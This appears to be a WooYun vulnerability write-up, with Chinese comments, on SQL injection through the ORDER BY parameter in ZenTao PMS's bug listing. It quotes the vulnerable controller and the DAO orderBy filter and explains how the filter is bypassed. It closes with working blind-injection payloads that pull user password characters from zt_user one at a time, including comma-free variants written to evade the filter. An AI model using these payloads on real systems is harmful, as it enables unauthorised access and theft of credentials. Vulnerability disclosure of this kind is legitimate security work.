WooYun.org

public function browse($productID = 0, $browseType = 'unclosed', $param = 0, $orderBy = '', $recTotal = 0, $recPerPage = 20, $pageID = 1)


    {


		.... 省略不想关内容.....


        /* Process the order by field. */


        if(!$orderBy) $orderBy = $this->cookie->qaBugOrder ? $this->cookie->qaBugOrder : 'id_desc';


        setcookie('qaBugOrder', $orderBy, $this->config->cookieLife, $this->config->webRoot);





        /* Append id for secend sort. */


        $sort = $this->loadModel('common')->appendOrder($orderBy);





        /* Load pager. */


        $this->app->loadClass('pager', $static = true);


        if($this->app->getViewType() == 'mhtml') $recPerPage = 10;


        $pager = pager::init($recTotal, $recPerPage, $pageID);





        $projects = $this->loadModel('project')->getPairs();


        $projects[0] = '';





        /* Get bugs. */


        $bugs = array();


		// 当browseType为all时，sort 会进入getAllBugs


        if($browseType == 'all') $bugs = $this->bug->getAllBugs($productID, $projects, $sort, $pager);


        elseif($browseType == "bymodule")


        {


            $childModuleIds = $this->tree->getAllChildId($moduleID);


            $bugs = $this->bug->getModuleBugs($productID, $childModuleIds, $projects, $sort, $pager);


        }


        .... 省略不想关内容.....





        $this->display();


    }

public function getAllBugs($productID, $projects, $orderBy, $pager = null)


    {


        $bugs = $this->dao->select('t1.*, t2.title as planTitle')


            ->from(TABLE_BUG)->alias('t1')


            ->leftJoin(TABLE_PRODUCTPLAN)->alias('t2')->on('t1.plan = t2.id')


            ->where('t1.product')->eq($productID)


            ->andWhere('t1.project')->in(array_keys($projects))


            ->andWhere('t1.deleted')->eq(0)


            ->orderBy($orderBy)->page($pager)->fetchAll(); 





        $this->loadModel('common')->saveQueryCondition($this->dao->get(), 'bug');





        return $bugs;


    }

//https://**.**.**.**/easysoft/zentaopms/blob/master/lib/dao/dao.class.php#L1616


    public function orderBy($order)


    {


        if($this->inCondition and !$this->conditionIsTrue) return $this;


		//替换orderby里的| _,因为表名的默认前缀为zt_ 所以语句中不能带入表名。


        $order  = str_replace(array('|', '
', '_'), ' ', $order);


        /* Add "`" in order string. */


        /* When order has limit string. */


		//语句中如果有limit 那么语句将会截断，后面会再次拼接。


        $pos    = stripos($order, 'limit');


        $orders = $pos ? substr($order, 0, $pos) : $order;


        $limit  = $pos ? substr($order, $pos) : '';


        $orders = explode(',', $orders);


		//在这里限制了语句中不能有逗号。


        foreach($orders as $i => $order)


        {


            $orderParse = explode(' ', trim($order));


            foreach($orderParse as $key => $value)


            {


                $value = trim($value);


                if(empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') continue;


                $field = trim($value, '`');


                /* such as t1.id field. */


				//这里是关键，如果$value里包含点号。那么只有后面的部分被加入``。


                if(strpos($value, '.') !== false) list($table, $field) = explode('.', $field);


                $field = "`$field`";


                $orderParse[$key] = isset($table) ? $table . '.' . $field :  $field;


                unset($table);


            }


            $orders[$i] = join(' ', $orderParse);


        }


		//拼接之前的limit


        $order = join(',', $orders) . ' ' . $limit;


        $this->sql .= ' ' . DAO::ORDERBY . " $order";


        return $this;


    }

order by if((select ord(substring(password,1,1)) from zt_user)=51,id,assignedto) # asc

// substring 改为 from x for x 的形式


order by if((select ord(substring(password from 1 for 1)) from zt_user)=51,id,assignedto) # asc


// if 语句用 case when ... then ... else ... end 代替


order by CASE WHEN (select ord(substring(password from 1 for 1)) from zt_user)=51 THEN id ELSE assignedto END) #asc